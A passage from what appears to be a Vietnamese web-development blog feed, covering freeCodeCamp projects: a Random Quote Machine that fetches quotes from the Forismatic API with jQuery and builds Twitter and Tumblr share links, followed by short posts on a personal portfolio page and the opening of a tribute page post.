url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAaCAIAAAA44esqAAAACXBIWXMAAAsTAAALEwEAmpwYAAACKUlEQVQ4y+2UW1OrMBCA/f8/q7Z1Wqz2Ras04JgCgUKO2lw2IQmcKduh3h70PJ/vgQkkH9ndLFzEcdz3fdd1/Y/BxYyxC5TDwA9NXFkUxUnu+15KOZvNCCH39/ePj49FUSRJst1u4ziez+ebzebu7u7h4YFzjuvPctd1dV1PJpPpdHp1dbVYLNbr9WQyWSwWURTNZrPLy8vlcjmfz5+enr6RASCE4Aa89865EAIOMFS8bdsWcz7K2+2273shhDEG3qG1xoExZhzj7eFwcM4dC0YIsdaWZVnXdVVVjDHOeVVVzUBRFPv9HgflQJ7nUkoAyPP8JFdVlef5brdL07QsS0pplmWU0iRJGGOEkHRADTjnjDFnmTG22+2SJMnzPE1TQsjhcNBaK6WMMVJKY4xSCrPFAp1lpdR4xQy/bZsQAu58ltu2BQA/gKX23ltrzUfw7U3TKKUA4FTtruv2+z2mjalmWcYY0+8AgLe3t6IoKKXPz89SynN7aq2FEJxzrHnTNC8vL59itta+vr7irDHmfM5KKdxhDBKP+hMAYK0FAOfcUU6SRAhBKSWExHHM3/HnC+NUXddZlh0Lhscwdt9PkFKeZGtt27a/+pi11v/lf5MBQErZtq39CP5Vvj631gohjvLYYfARKWXTNJxzIcSnKa219/7Y25vNJoSAkY8455RSVVXVdS2EwP1HrLXee0rpRRRFq9Xq+gur1Wq9Xt/e3t7c3Fx/RxRFfwHaNMHH7sMj9QAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="random quote machine trên tablet" title="random quote machine trên tablet" src="/static/553c4baf3a6e9c6823f29e837c706762/c6ea4/pencil-tablet-random-quote-machine.png" srcset="/static/553c4baf3a6e9c6823f29e837c706762/103f2/pencil-tablet-random-quote-machine.png 165w, /static/553c4baf3a6e9c6823f29e837c706762/748ba/pencil-tablet-random-quote-machine.png 330w, /static/553c4baf3a6e9c6823f29e837c706762/c6ea4/pencil-tablet-random-quote-machine.png 414w" sizes="(max-width: 414px) 100vw, 414px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Giao diện trên PC:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 57.57575757575757%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABGklEQVQoz43SYYvDIAwG4P3/P7Yvo5TBKEcpZbgibWdr601jotmBbkcZt3HPx+BLNHE3z7NSapomrfWyLDpZnrTWU3K9Xr8S8dS27e6eMLO11jmHiD6x1gIAEeUDIQRjDACEJMZorX2EiagoisPhUFVVWZbH43G/3xdFUdc1M+cwANw3vPePcG4YQsCEiJg5xpiLn8Le+2EYuq4TQlwuFyHE+Xxu27ZpGiFE3/cxeRuWUpZlWVXV6XSSUvZ93yXW2tz8bRgA8lWJCBG3J4jIGPOpMyIqpcZxHIZhHMd1XQHAOWeMkUl+/99hZkbE7+R2u23XkyvM/HZgeRmf/TccQvhtvi1671/GsSMi7z1u5C/5UnTOKaXWDaXUD3UMtL9YII5nAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="random quote machine trên pc" title="random quote machine trên pc" src="/static/09d4504e64213efb2757d57abe22cf4d/7c811/pencil-pc-random-quote-machine.png" srcset="/static/09d4504e64213efb2757d57abe22cf4d/103f2/pencil-pc-random-quote-machine.png 165w, /static/09d4504e64213efb2757d57abe22cf4d/748ba/pencil-pc-random-quote-machine.png 330w, /static/09d4504e64213efb2757d57abe22cf4d/7c811/pencil-pc-random-quote-machine.png 660w, /static/09d4504e64213efb2757d57abe22cf4d/f3cf6/pencil-pc-random-quote-machine.png 890w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Thực tế, những thứ trên chỉ nên gọi là UX. Tuy nhiên, mình tạm hài lòng và dừng bước này tại đây. Việc thiết kế màu sắc, font chữ,... sẽ làm luôn trên CSS.</p> <h3 id="triển-khai-uxui-với-html5-và-css3" style="position:relative;"><a href="#tri%E1%BB%83n-khai-uxui-v%E1%BB%9Bi-html5-v%C3%A0-css3" aria-label="triển khai uxui với html5 và css3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai UX/UI với HTML5 và CSS3</h3> <p>Có lẽ phần triển khai website sử dụng HTML5 và CSS3 mình sẽ không giải thích gì thêm. Ngoài ra, về phần lựa chọn màu sắc sao cho phù hợp thì bạn có thể tham khảo tại các link sau đây (rất hay luôn):</p> <ul> <li><a href="https://digitalsynopsis.com/design/beautiful-color-gradient-hues-backgrounds/">27 Beautiful Color Gradients For Your Next Design Project</a></li> <li><a href="https://digitalsynopsis.com/design/beautiful-color-schemes-marketing-design-psychology/">33 Beautiful Color Schemes For Your Next Design Project</a></li> <li><a href="https://digitalsynopsis.com/design/beautiful-color-schemes-combinations-palettes/">34 Beautiful Color Palettes For Your Next Design Project</a></li> <li><a href="https://digitalsynopsis.com/design/beautiful-color-ui-gradients-backgrounds/">36 Beautiful Color Gradients For Your Next Design Project</a></li> <li><a href="https://digitalsynopsis.com/design/beautiful-color-palettes-combinations-schemes/">36 Beautiful Color Palettes For Your Next Design Project</a></li> <li><a href="https://digitalsynopsis.com/design/beautiful-color-gradients-backgrounds/">30 Beautiful Color Gradients For Your Next Design Project</a></li> </ul> <p>Cách tích hợp comment Facebook vào trang web, xem trên trang của Facebook tại <a href="https://developers.facebook.com/docs/plugins/comments">đây</a> nhé. Phần hướng dẫn khá dễ hiểu, bạn chỉ cần đọc qua là biết làm ngay.</p> <p>Nếu bạn có thắc mình gì cần hỏi, chẳng hạn như cách thiết kế website responsive,... thì có thể đặt câu hỏi ở phần bình luận nhé.</p> <h2 id="xử-lý-logic-với-javascript" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-logic-v%E1%BB%9Bi-javascript" aria-label="xử lý logic với javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý logic với JavaScript</h2> <p>Có 2 thứ quan trọng cần làm trong phần này là: lấy ra quote ngẫu nhiên và chia sẻ quote lên mạng xã hội.</p> <ul> <li>Về phần xử lý qoute: trong 3 cách đã nêu ở phần phân tích yêu cầu bài toán, mình thấy rằng cách 1 và 2 đều khá mất công vì đều phải đi sưu tầm quote. Riêng cách thứ 2 thì phải triển khai trên database, khá phức tạp. Vì vậy mình chọn cách thứ 3, đó là sử dụng <a href="https://forismatic.com/en/api/">Forismatic API</a> (trang này có hướng dẫn rõ ràng).</li> <li>Về phần share lên mạng xã hội: sau thời gian tìm hiểu google, mình thấy rằng chỉ có Twitter cho phép chia sẻ text, còn những mạng xã hội kia cần phải chia sẻ link, nên không phù hợp. Thay vào đó, mình tìm ra một mạng xã hội khác cho phép chia sẻ text là: <strong>Tumblr</strong>. Tóm lại, mình sẽ chia sẻ lên Twitter và Tumblr.</li> </ul> <h3 id="lấy-random-quote-trên-forismatic" style="position:relative;"><a href="#l%E1%BA%A5y-random-quote-tr%C3%AAn-forismatic" aria-label="lấy random quote trên forismatic permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy random quote trên Forismatic</h3> <p>Bạn có thể tự đọc hướng dẫn trên trang chủ để triển khai. Sau đây là cách mình thực hiện.</p> <p><strong>Xây dựng URL để request</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> requestURL <span class="token operator">=</span> <span class="token string">"https://api.forismatic.com/api/1.0/?method=getQuote&amp;format=jsonp&amp;lang=en&amp;jsonp=?"</span><span class="token punctuation">;</span></code></pre></div> <p>Request này kiểu GET, với các tham số là phần phía sau dấu hỏi (?). Và kết quả trả về sẽ là một <a href="/tim-hieu-ve-json-trong-javascript/">JSON</a>, với ngôn ngữ là tiếng anh.</p> <p><strong>Tiến hành request</strong></p> <p>Để thực hiện request lên server, bạn có thể sử dụng <a href="/xmlhttprequest-tao-http-request-den-server-trong-javascript/">XMLHttpRequest</a>. Tuy nhiên, trong project này mình sử dụng jQuery, nên sử dụng luôn phương thức <a href="http://api.jquery.com/jquery.getjson/">getJSON</a> của nó.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">requestRandomQoute</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> $<span class="token punctuation">.</span><span class="token function">getJSON</span><span class="token punctuation">(</span>requestURL<span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">data</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">animateText</span><span class="token punctuation">(</span><span class="token string">"#quote-text"</span><span class="token punctuation">,</span> data<span class="token punctuation">.</span>quoteText<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">animateText</span><span class="token punctuation">(</span><span class="token string">"#quote-name"</span><span class="token punctuation">,</span> <span class="token string">"-- "</span> <span class="token operator">+</span> data<span class="token punctuation">.</span>quoteAuthor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">animateText</span><span class="token punctuation">(</span><span class="token string">"#quote-symbol"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">updateShares</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>quoteText<span class="token punctuation">,</span> data<span class="token punctuation">.</span>quoteAuthor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Sau khi thực hiện phương thức trên, kết quả thu được là data, gồm 2 trường thông tin quan trọng là <strong>quoteText</strong> và <strong>quoteAuthor</strong>. Sau đó, mình sử dụng nó để cập nhật lên giao diện.</p> <p>Ngoài ra, ở đây mình có thêm animation cho phần thay đổi nội dung text.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">animateText</span><span class="token punctuation">(</span><span class="token parameter">element<span class="token punctuation">,</span> content</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">$</span><span class="token punctuation">(</span>element<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">animate</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">opacity</span><span class="token operator">:</span> <span class="token number">0</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">500</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">animate</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">opacity</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">500</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>content<span class="token punctuation">)</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span>content<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Hàm này có nhiệm vụ làm mờ (opacity = 0) phần nội dung cũ trong 500 ms. Sau đó, hiện nội dung mới (opacity = 1) cũng trong thời gian 500 ms.</p> <h3 id="chia-sẻ-quote-lên-mạng-xã-hội-twitter-và-tumblr" style="position:relative;"><a href="#chia-s%E1%BA%BB-quote-l%C3%AAn-m%E1%BA%A1ng-x%C3%A3-h%E1%BB%99i-twitter-v%C3%A0-tumblr" aria-label="chia sẻ quote lên mạng xã hội twitter và tumblr permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chia sẻ quote lên mạng xã hội Twitter và Tumblr</h3> <p>Tư tưởng của phần này là thay thế giá trị thuộc tính <strong>href</strong> của các thẻ <strong>a</strong> tương ứng với share Twitter hay Tumblr. Nội dung link đã được quy định sẵn bởi Twitter hoặc Tumblr, bạn chỉ cần áp dụng đúng là được.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> currentQuote <span class="token operator">=</span> qoute <span class="token operator">||</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#quote-text"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> currentAuthor <span class="token operator">=</span> author <span class="token operator">||</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#quote-name"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> twitterShareURL <span class="token operator">=</span> <span class="token string">"https://twitter.com/intent/tweet?hashtags=quotes&amp;related=freecodecamp&amp;text="</span> <span class="token operator">+</span> <span class="token function">encodeURIComponent</span><span class="token punctuation">(</span><span class="token string">'"'</span> <span class="token operator">+</span> currentQuote <span class="token operator">+</span> <span class="token string">'" '</span> <span class="token operator">+</span> currentAuthor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#share-twitter"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">attr</span><span class="token punctuation">(</span><span class="token string">"href"</span><span class="token punctuation">,</span> twitterShareURL<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> tumblrShareURL <span class="token operator">=</span> <span class="token string">"https://www.tumblr.com/widgets/share/tool?posttype=quote&amp;tags=quotes,freecodecamp&amp;caption="</span> <span class="token operator">+</span> <span class="token function">encodeURIComponent</span><span class="token punctuation">(</span>currentAuthor<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"&amp;content="</span> <span class="token operator">+</span> <span class="token function">encodeURIComponent</span><span class="token punctuation">(</span>currentQuote<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"&amp;canonicalUrl=https%3A%2F%2Fwww.tumblr.com%2Fbuttons&amp;shareSource=tumblr_share_button"</span><span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#share-tumblr"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">attr</span><span class="token punctuation">(</span><span class="token string">"href"</span><span class="token punctuation">,</span> tumblrShareURL<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là quy trình các bước mình thực hiện để hoàn thành project Random Quote Machine. Hy vọng quy trình này có thể giúp bạn áp dụng vào các project của mình. Ngoài ra, nếu bạn có góp ý gì vui lòng để lại phần bình luận nhé.</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/lap-trinh-javascript-voi-fcc-local-weather/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Lập trình JavaScript với FCC – Personal Portfolio]]><![CDATA[Tiếp tục series lập trình JavaScript với FCC, bài viết này mình sẽ chia sẻ với bạn project thứ hai mà mình đã làm trên freeCodeCamp đó là Build a personal portfolio webpage thuộc…]]>https://completejavascript.com/lap-trinh-javascript-voi-fcc-personal-portfolio/https://completejavascript.com/lap-trinh-javascript-voi-fcc-personal-portfolio/<![CDATA[jQuery]]><![CDATA[Mustache.js]]><![CDATA[Template]]><![CDATA[FCC]]>Fri, 09 Mar 2018 15:03:38 GMT<p>Tiếp tục series lập trình JavaScript với FCC, bài viết này mình sẽ chia sẻ với bạn project thứ hai mà mình đã làm trên freeCodeCamp đó là <strong>Build a personal portfolio webpage</strong> thuộc chuyên mục <strong>Basic Front End</strong>.</p> <h2 id="build-a-personal-portfolio-webpage-trên-codepen" style="position:relative;"><a href="#build-a-personal-portfolio-webpage-tr%C3%AAn-codepen" aria-label="build a personal portfolio webpage trên codepen permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Build a personal portfolio webpage trên codepen</h2> <p><a href="https://codepen.io/completejavascript/pen/QmwLQY"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/QmwLQY/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h2 id="một-số-điểm-cần-ghi-nhớ" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-%C4%91i%E1%BB%83m-c%E1%BA%A7n-ghi-nh%E1%BB%9B" aria-label="một số điểm cần ghi nhớ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số điểm cần ghi nhớ</h2> <h3 id="các-thư-viện-sử-dụng" style="position:relative;"><a href="#c%C3%A1c-th%C6%B0-vi%E1%BB%87n-s%E1%BB%AD-d%E1%BB%A5ng" aria-label="các thư viện sử dụng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các thư viện sử dụng</h3> <p>Đối với cách config thư viện sử dụng trên codepen, mình đã giới thiệu trong bài viết <a href="/lap-trinh-javascript-voi-fcc-build-a-tribute-page/">Lập trình JavaScript với FCC - Build a Tribute Page</a>. Bạn có thể tham khảo lại để biết cách sử dụng.</p> <p>Trong project này, mình sử dụng các công cụ như sau:</p> <ul> <li><a href="/tag/html/">HTML5</a></li> <li><a href="/tag/css/">CSS3</a></li> <li><a href="/tag/jquery/">JQuery</a></li> <li><a href="/tag/mustachejs/">Mustache.js</a></li> </ul> <p>Như vậy, so với project, mình đã không sử dụng Bootstrap nữa mà thay vào đó, mình tự triển khai <strong>design website responsive</strong> trong main.css. Ngoài ra, mình còn sử dụng thêm thư viện Mustache.js để xử lý <strong>template</strong> trong HTML.</p> <h3 id="các-mục-cần-có-của-một-personal-portfolio" style="position:relative;"><a href="#c%C3%A1c-m%E1%BB%A5c-c%E1%BA%A7n-c%C3%B3-c%E1%BB%A7a-m%E1%BB%99t-personal-portfolio" aria-label="các mục cần có của một personal portfolio permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các mục cần có của một Personal Portfolio</h3> <p>Theo mình, một Personal Portfolio cần phải có các mục sau:</p> <ul> <li>Navigation bar: dùng để điều hướng tới các mục trên trang web.</li> <li>About: dùng để giới thiệu cho mọi người biết bạn là ai, một chút thông tin về học tập, bằng cấp hay kinh nghiệm làm việc.</li> <li>Work (Projects hay Portfolio): dùng để show ra các project mà bạn đã làm. Vì hiện tại mình chưa làm được nhiều các web project nên mục này hầu như vẫn là "comming soon".</li> <li>Contact: giúp người đọc có thể dễ dàng liên lạc với bạn nếu muốn.</li> </ul> <p>Đó, về cơ bản, một personal portfolio sẽ gồm các thông tin như vậy.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trong bài viết này mình sẽ không giới thiệu chi tiết về code nữa. Thay vào đó, nếu bạn đọc có hứng thú, mời bạn xem qua trang personal portfolio của mình. Nếu bạn thấy trong giao diện có phần nào hay và muốn áp dụng thì có thể đặt câu hỏi cho mình ở phần bình luận. Mình sẽ cố gắng giải đáp.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://completejavascript.github.io/fcc-personal-portfolio/">Full preview</a> trên github.</li> </ul>[email protected]<![CDATA[Lập trình JavaScript với FCC - Build a Tribute Page]]><![CDATA[Có thể bạn đã nghe thấy câu practice makes perfect rồi. Tuy nhiên, có một câu mà mình thấy đúng hơn cả. Đó là perfect practice makes perfect. Câu đó nói rằng, nếu bạn có một chiến…]]>https://completejavascript.com/lap-trinh-javascript-voi-fcc-build-a-tribute-page/https://completejavascript.com/lap-trinh-javascript-voi-fcc-build-a-tribute-page/<![CDATA[Event]]><![CDATA[jQuery]]><![CDATA[FCC]]>Thu, 08 Mar 2018 15:41:57 GMT<p>Có thể bạn đã nghe thấy câu <strong>practice makes perfect</strong> rồi. Tuy nhiên, có một câu mà mình thấy đúng hơn cả. Đó là <strong>perfect practice makes perfect</strong>. Câu đó nói rằng, nếu bạn có một chiến thuật thực hành hoàn hảo, thì bạn sẽ trở nên hoàn hảo. Vì vậy, gần đây mình đã tìm và thấy một trang web rất hay, là <a href="https://www.freecodecamp.org/">freecodecamp.org</a>. Mình đang thực hành và sẽ chia sẻ lại với bạn. Bài viết này nói về project đầu tiên <strong>Build a tribute page</strong> thuộc chuyên mục <strong>Basic Front End</strong>.</p> <h2 id="build-a-tribute-page-trên-codepen" style="position:relative;"><a href="#build-a-tribute-page-tr%C3%AAn-codepen" aria-label="build a tribute page trên codepen permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Build a tribute page trên 